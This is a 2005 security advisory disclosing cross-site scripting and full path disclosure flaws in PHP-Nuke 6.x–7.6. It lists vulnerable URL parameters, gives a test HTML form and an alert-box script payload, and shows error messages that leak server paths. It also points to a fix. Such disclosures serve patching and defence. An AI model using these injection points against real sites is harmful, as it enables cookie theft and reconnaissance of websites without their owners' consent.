SecurityReason - PHPNuke x=>7.6 Multiple vulnerabilities PART 2 ( Research Advisory )

Advisory Text :

-=[ Full path disclosure and XSS in PHPNuke ]=-

Author: sp3x
Date: 3. April 2005

In Memory of John Poul II :
===========================

"Love converts hearts and gives peace," - John Poul II [The Great]
"To milosc nawraca serca i daruje pokoj ludzkosci, ktora wydaje sie czasem
zagubiona i zdominowana przez sile zla, egoizmu i strachu" - Jan Pawe? II
[WIELKI]

Affected software :
===================
PHP-Nuke version : 6.x - 7.6

Description :
=============
PHP-Nuke is a Web Portal System, storytelling software, News system, online
community or whatever you want to call it. The goal of PHP-Nuke is to have
an automated web site to distribute news and articles with users system.
Each user can submit comments to discuss the articles, just similar to
Slashdot and many others. Main features include: web based admin, surveys,
top page, access stats page with counter, user customizable box, themes
manager for registered users, friendly administration GUI with graphic
topic manager, option to edit or delete stories, option to delete comments,
moderation system, Referers page to know who link us, sections manager,
customizable HTML blocks, user and authors edit, an integrated Banners Ads
system, search engine, backend/headlines generation (RSS/RDF format), and
many, many more friendly functions. PHP-Nuke is written 100% in PHP and
requires Apache Web server, PHP and a SQL (MySQL, mSQL, PostgreSQL, ODBC,
ODBC_Adabas, Sybase or Interbase). Support for 25 languages, Yahoo like
search engine, Comments option in Polls, lot of themes, Ephemerids manager,
File Manager, Headlines, download manager, faq manager, advanced blocks
systems, reviews system, newsletter, categorized articles, multilanguage
content management, phpBB Forums included and a lot more.

Vulnerabilities :
*****************

Cross-site scripting - XSS :
============================

In PHPNuke there are XSS that can be used to steal cookies and do other
operations, which in
normal conditions are not permitted by browser's cross-domain security
restrictions.

Example :
=========

http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic=0&
min=999999999[XSS]&query=[our query]
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic=0&
min=999999999[XSS]&query=[our_query]&type=users&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic=0&
min=999999999[XSS]&query=[our_query]&type=comments&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic=0&
min=999999999[XSS]&query=[our_query]&type=stories&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic=0&
min=999999999[XSS]&query=[our_query]&type=reviews&category=2
http://[target]/[nuke_dir]/modules.php?name=FAQ&myfaq=yes&id_cat=1&categori
es=45435[XSS]
http://[target]/[nuke_dir]/banners.php?op=EmailStats&login=[our_login]&cid=
1&bid=[XSS]
http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=term
s&eid=1&ltr=[XSS]

To test XSS for example in
http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=term
s&eid=1&ltr=[XSS] we can
create a form.

test.html :
-----------
<form name="mantra" method="POST"
action="http://[target]/[nuke_dir]/modules.php">
<p>XSS:
<input type="text" name="newdownloadshowdays" value="7">
<br>
<input type="hidden" name="name" value="Downloads">
<br>
<input type="hidden" name="d_op" value="NewDownloads">
</p>
<p>
<input type="submit" name="Submit" value="Go!">
<br>
</p>
</form>
-----------------
And enter to inputfield "XSS" this :<body onload="alert('XSS')";> and click
"Go!" :)
Or just replace [XSS] with <h1>w33t</h1> in GET method

Full Path Disclosure :
======================

Full path to script must be kept in secret because it can lead to
successful attack on the
website. If the attacker know Full path to script , he can start searching
some more info on others folders or about the server where the site is and
then try to break in.

Many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure.

Examples :
----------

http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=userinfo

Error message :
---------------
=====================================
Fatal error: Call to undefined function: nav() in
/[info]/public_html/phpnuke/modules/Your_Account/index.php on line 221

======================================

http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=my_headlines

Error message :
---------------
=====================================
Warning: fsockopen(): php_network_getaddresses: getaddrinfo failed: Name or
service not known in
/[info]/public_html/phpnuke/modules/Your_Account/index.php on line 1548

Warning: fsockopen(): unable to connect to :80 in
/[info]/public_html/phpnuke/modules/Your_Account/index.php on line 1548
=====================================

http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=sear
ch

=======================================
Fatal error: Call to undefined function: search() in
/[info]/www/phpnuke/html/modules/Encyclopedia/index.php on line 267
======================================

How to fix :
============

Download the new version of the script or update.
Because phpnuke don't have security contact, you can download fix from
www.securityreason.com/patch/SecurityReason-Fix[1].rar
Also on www.nukefixes.com the fix will be avaible soon

Contact :
=========

sp3x[at]securityreason[dot].com
www.securityreason.com